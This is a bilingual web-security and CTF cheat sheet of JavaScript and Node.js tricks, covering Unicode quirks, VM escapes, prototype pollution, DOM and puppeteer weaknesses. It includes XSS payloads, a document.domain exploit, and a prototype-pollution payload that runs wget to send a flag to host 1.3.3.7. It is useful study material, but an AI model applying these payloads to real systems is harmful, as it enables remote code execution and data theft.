Try   HackMD
TOC

Javascript

spec & impl

Inspect

  • Node.js prototype access
    ​​​​let props = ''
    
    ​​​​Object.prototype.__proto__ = new Proxy(
    ​​​​    { __proto__: null },
    ​​​​    {
    ​​​​        get: (target, prop, receiver) => {
    ​​​​            props += `GET ${prop}` + '\n'
    ​​​​            return Reflect.get(target, prop, receiver)
    ​​​​        },
    ​​​​        __proto__: null
    ​​​​    }
    ​​​​)
    
    • for Deno
    ​​​​const proxy = new Proxy(
    ​{},
    ​{
    ​	get: (target, prop, receiver) => {
    ​		console.log('get', prop)
    ​		return Reflect.get(target, prop, receiver)
    ​	}
    ​}
    ​​​​)
    
    ​​​​Object.setPrototypeOf(Function.prototype, proxy)
    ​​​​Object.setPrototypeOf(Array.prototype, proxy)
    ​​​​Object.setPrototypeOf(Error.prototype, proxy)
    ​​​​Object.setPrototypeOf(String.prototype, proxy)
    ​​​​Object.setPrototypeOf(Number.prototype, proxy)
    

syntax

Comments

  • in ECMAScript spec
    • //
    • /*
  • extended in v8
    • <!--
    • -->
  • shebang
    • only work for first line#! aaaaa

Line Terminators

  • \u000a,\u000d,\u2028,\u2029
  • eval("alert\u2029(1)")

Comparison

  • The Abstract Equality Comparison Algorithm
    ​​​​console.log(NaN != NaN)
    ​​​​console.log(undefined == undefined)
    ​​​​console.log(null == null)
    ​​​​console.log(typeof NaN == 'number')
    ​​​​console.log(typeof null == 'object')
    ​​​​console.log(+0 == -0)
    ​​​​console.log(null == undefined)
    ​​​​// Return true if x and y refer to the same object. Otherwise, return false.
    ​​​​var a = {}, b = {}
    ​​​​console.log(a != b)
    ​​​​console.log((()=>{}) != (()=>{}))
    ​​​​console.log(14 == '0xe') // 14 == Number('0xe')
    
  • SameValueZero
  • IsStrictlyEqual
    1. If Type(x) is not Type(y), return false.
    2. If x is a Number, then
      a. Return Number::equal(x, y).
    3. Return SameValueNonNumber(x, y).
  • Number::equal(x, y)
    • NaN != NaN
    • +0 == -0
  • Number::sameValue
    • NaN == NaN
    • +0 != -0

Regex

  • regex global matching lastIndex,flag g(global) and y(sticky) is stateful

    ​​  const r = /cjiso/g
    ​​  r.exec('cjiso')
    ​​  console.log(r.lastIndex) // 5
    ​​  r.exec('cjiso') == null //true
    
  • dot match behavior flag s

    ​​​​/{.*}/.test("{evil\u2026}") // false
    ​​​​/{.*}/s.test("{evil\n}") // true
    

    default . won't match below
    U+000A LINE FEED (LF) ("\n")
    U+000D CARRIAGE RETURN (CR) ("\r")
    U+2028 LINE SEPARATOR
    U+2029 PARAGRAPH SEPARATOR

  • Get the last matched string RegExp.$_, RegExp.input

    ​​​​/Flag/.test('Flag{a}')
    ​​​​console.log(RegExp.input) // FLAG{a}
    
    ​​​​var flag = 'Flag{aaa}'
    ​​​​flag = flag.replace(/{.*}/,'$&') // FLAG{aaa}
    
  • Get the last parenthesized part RegExp['$+'],RegExp.lastParen

    ​​​​/(Flag){(a.)+}/.test('Flag{abacad}')
    ​​​​console.log(RegExp['$+']) // ad
    
  • Get left, right context of matched RegExp.['$`'] (left) RegExp.["$'"](right)

    ​​​​var tmpl = '<img a="{value}">'
    ​​​​tmpl.replace('{value}',"$'<svg/onload=alert(1)>")
    
  • per line test flag m

    ​​​​/^bbb.*$/.test("aaaa\nbbbb") // false
    ​​​​/^bbb.*$/m.test("aaaa\nbbbb") // true
    
  • ref

String

  • substring
    • If indexStart is greater than indexEnd, then the effect of substring() is as if the two arguments were swapped.

Promise / async / await / then

  • await object:
a = {}
a.then = ()=>{console.log('jizzz')}
await a // call a.then
/* result
jizzz
// stuck
*/


a = {}
a.then = (cb)=>{console.log('jizzz');cb(123)}
await a 
/* result
jizzz
// return 123
*/

event

  • securitypolicyviolation

devtool

arguments

  • arguments.callee.caller.arguments拿到外層函式的 arguments

char/encoding

  • "ß".toUpperCase() // "SS"
  • "İ".toLowerCase().length == 2
  • "ffi".toUppserCase() == 'FFI'
  • al\u0065rt(7122) // alert(7122)
  • al\u{65}rt(7122) // al\u{65}rt(7122)
  • unicode escape sequences Where can escape sequences be used

Realm & Scope

Encode/Decode

iteration protocols

Error

Bypass

Misc

refs
  • isNaN vs. Number.isNaN

    ​​​​isNaN('abc') // true
    ​​​​Number.isNaN('abc') // false
    
  • Object.hasOwn [ES2022] vs. Object.prototype.hasOwnProperty

    • obj.hasOwnProperty('prop') 如果被覆蓋會出錯,用 Object.hasOwn(obj,'prop') 比較安全
  • base64

    • 忽略非法字元和第一個 = 後內容
    • Buffer.from('Y\xff W..FhYWFhYgo= bbbb','base64').equals( Buffer.from('YWFhYWFhYgo','base64'))

Nodejs

jail / VM escape

  • cjs 模組載入 source code
  • new Function 裡需要使用 global.process.mainModule.constructor._load 來做 require
  • import 不在 global 裡,可繞過黑名單檢測
  • cjs 執行時預處理被包在函式裡,所以 global return 不會出錯 wrappers, 且包在 vm wrapSafe
    ​​​​module.constructor.wrapper
    ​​​​(function (export, require, module, __filename, __dirname) {
    ​​​​console.log("Trying to reach");
    ​​​​return;
    ​​​​console.log("dead code");
    ​​​​});
    
    ​​​​#! node
    ​​​​(function() {console.log(arguments.callee.caller.toString())})
    ​​​​
    ​​​​/*
    ​​​​function (exports, require, module, __filename, __dirname) {
    
    
    ​​​​(function(){return console.log(arguments.callee.caller.toString())})()
    
    
    ​​​​}
    ​​​​*/
    ​​​​
    ​​​​所以
    ​​​​(function() {return arguments.callee.caller.arguments[1]}) // require
    
  • Function constructor ''.constructor.constructor
  • module.require.main === process.mainModule
  • process.mainModule.require
  • module.constructor._load
  • module.constructor.Module._load
  • module.constructor.Module._cache: 拿到載入的 user module
  • 同 context 下汙染 prototype 蓋掉過濾檢查
  • challenge

SQLi

native modules

Browser

DOM

  • 任何 Node element 都可以 traverse 到 window
  • Node img
    • innerHTML resolved before inserted DOM is triggered ref
    ​​​​document.createElement('img').innerHTML =
    ​​​​`<img/src=x onerror=alert(7122)>`
    
  • document.querySelector()
    • return first match
  • document.URL
  • document.cookie
    • iframe 裡操作 document.cookie 是無效的,可以用來防止 document.cookie 被刪除
  • document.domain
    ​​​​// https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
    ​​​​document.domain='intigriti.io';
    ​​​​a=document.createElement('iframe');
    ​​​​a.src='https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][domain]=intigriti.io';
    ​​​​document.body.appendChild(a);
    ​​​​a.onload=function(){
    ​​​​  setTimeout(()=>{
    ​​​​    a.contentWindow.document.body.innerHTML='<style onload=alert(document.domain)>';
    ​​​​  // we need to change it back
    ​​​​    a.contentWindow.document.domain='challenge-0422.intigriti.io'
    ​​​​  },1000)
    ​​​​}
    ​​​​
    
    • firefox/chrome 允許 FQDN 和 SSL match,導致基於 document.domain 的檢查會被繞過(burpsuite 不允許)
  • window.open
    • https://blog.huli.tw/2022/04/07/iframe-and-window-open/

      • 產生 named window 以及獲取 window reference
      ​​​​​​​​<a target="">
      ​​​​​​​​<form target="">
      ​​​​​​​​<iframe name="">
      ​​​​​​​​<object name="">
      ​​​​​​​​<embed name="">
      ​​​​​​​​window.open(url, name)
      
      • 偵測新開 window 的載入完成
        • 載入完成前 window.origin 會是原 window,載入後才改變
        • 利用禁止 cross origin property access 觸發 error 來偵測
        code
        ​​​​​​​​​​​​// From Huli
        ​​​​​​​​​​​​var start = new Date()
        ​​​​​​​​​​​​var win = window.open('https://blog.huli.tw')
        ​​​​​​​​​​​​run()
        ​​​​​​​​​​​​function run() {
        ​​​​​​​​​​​​  try {
        ​​​​​​​​​​​​    win.origin
        ​​​​​​​​​​​​    setTimeout(run, 60)
        ​​​​​​​​​​​​  } catch(err) {
        ​​​​​​​​​​​​    console.log('loaded', (new Date() - start), 'ms')
        ​​​​​​​​​​​​  }
        ​​​​​​​​​​​​}
        
      • 偵測某個 name 的 window 是否存在
        code
        ​​​​​​​​​​​​<!-- From Huli -->
        ​​​​​​​​​​​​<body>
        ​​​​​​​​​​​​  <a href="https://blog.huli.tw" target="blog">click</a>
        ​​​​​​​​​​​​  <button onclick="run()">run</button>
        ​​​​​​​​​​​​  <iframe
        ​​​​​​​​​​​​    name=f
        ​​​​​​​​​​​​    sandbox="allow-scripts allow-same-origin allow-popups-to-escape-sandbox allow-top-navigation">
        ​​​​​​​​​​​​  </iframe>
        ​​​​​​​​​​​​  <script>
        ​​​​​​​​​​​​    function run(){
        ​​​​​​​​​​​​      var w = f.open('xxx://abcde', 'blog')
        ​​​​​​​​​​​​      if (w) {
        ​​​​​​​​​​​​        console.log('blog window exists')
        ​​​​​​​​​​​​      } else {
        ​​​​​​​​​​​​        console.log('blog window not exists')
        ​​​​​​​​​​​​      }
        ​​​​​​​​​​​​    }
        ​​​​​​​​​​​​  </script>
        ​​​​​​​​​​​​</body>
        
    • browsing context

      • 只有在同一 browsing context 才能 access 另一 target window
  • location.ancestorOrigins
    • 在 subframes 時可以獲得 ancester frame 的 origin

Prototype Pollution

  • 可以汙染 data attribute(data-*) e.g. __proto__[sitekey] 汙染 data-sitekey

real world

challenge

ECMAScript

  • IteratorClose
    ​​​​@Ark
    ​​​​Object.prototype.return = () => console.log(123)
    ​​​​for (const x of [1]) {
    ​​​​    break  // this is important
    ​​​​}
    
    ​​​​@Ark
    ​​​​Object.prototype.return = () => console.log(123)
    ​​​​const [x] = [1]
    
  • Error.prepareStackTrace

Browser

  • exploit ownerDocument or defaultView to traverse any value
  • try access to Object.prototype or Array.prototype
  • look carefully into for ... in pattern
  • find gadget chain in included package

Node.js

  • if require after pp

    ​​​​// __dirname 和 parent 不能有 package.json, 在多數情況下無法用
    ​​​​{
    ​​​​   "__proto__":{
    ​​​​      "data":{
    ​​​​         "name":"./usage",
    ​​​​         "exports":"./preinstall.js"
    ​​​​      },
    ​​​​      "path":"/opt/yarn-v1.22.19/",
    ​​​​      "shell":"sh",
    ​​​​      "contextExtensions":[
    ​​​​         {
    ​​​​            "process":{
    ​​​​               "env":{
    ​​​​                  "npm_config_global":"1",
    ​​​​                  "npm_execpath":""
    ​​​​               },
    ​​​​               "execPath":"wget\u0020http://1.3.3.7/?p=$(/readflag);echo"
    ​​​​            }
    ​​​​         }
    ​​​​      ],
    ​​​​   }
    ​​​​}
    
    ​​​​/* a.js */
    ​​​​const a = {};
    ​​​​a['__proto__']['data'] = { exports: './exp.js', name: './usage' }; 
    ​​​​// name should equal to `require` module name
    ​​​​// and it will load exp.js
    ​​​​a['__proto__']['path'] = './';
    ​​​​a['__proto__']['contextExtensions'] = [{ asd: 7122 }]; // work > v15
    ​​​​require('./usage');
    ​​​​
    ​​​​/* b.js */
    ​​​​console.log(asd)
    
    ​​​​/* run */
    ​​​​$ node a.js
    ​​​​ 7122
    
  • pp env : Abusing Environment Variables, HACKING WITH ENVIRONMENT VARIABLES, 我是如何利用环境变量注入执行任意命令

  • 2022 June pp spawn options (commit) 和 contextExtensions (commit) 被修掉,至少要有 options 傳入,否則會被設為 kEmptyObject

  • --import='data:text/javascript,console.log(1337)'

jquery

recaptcha

  • 設定 sitekey __proto__[sitekey],無效的 sitekey 也可以觸發

Package

DOMPurify

HTML Sanitizer API

  • 只有 chrome 有實現
  • config 可受 pp 攻擊
  • allowUnknownMarkup=true 可以設置 data-* 和其他 atrribute
  • 無法解析 script、iframe、非 HTML element (svg)
  • 無法解析 on-event

qs.js

  • 使用的 qs 處理 query string 預設只會處理 1000 個, 傳送'?'+'a=b'*1000+'waf=aaa'waf 不會在 req.queryref
  • 影響框架:express...
  • 2022SECCONCTF - skipinx

express

React.js

puppeteer

ref

  • 預設可以使用開新頁面 window.open
  • page.goto 可以吃 javascript scheme,domain 是在當前頁面下
  • 新版 chrome headless mode 可自動觸發下載
  • Page.click() 實作上是計算座標後點擊,可被 click hijacking
  • without SOP to LFI
    • puppetter 預設開啟 devtools debug port, 30000 - 50000
    • 如果 --disable-web-security 關掉 SOP 的話可以直接爆 port 存取
    • debug port 可以開新頁面 file://
    • headless mode 預設觸發可以下載 ~/Downloads/xxxxx
    • 惡意檔案可以讀取本地其他檔案並且跑 js

jquery

Chrome Devtools Protocol(CDP)

ref https://mizu.re/post/intigriti-october-2023-xss-challenge

Connection Pool

Chrome://

Anti-debugging

Code Audit

Both

  1. Run formatter to omit ASI problem

Frontend

Backend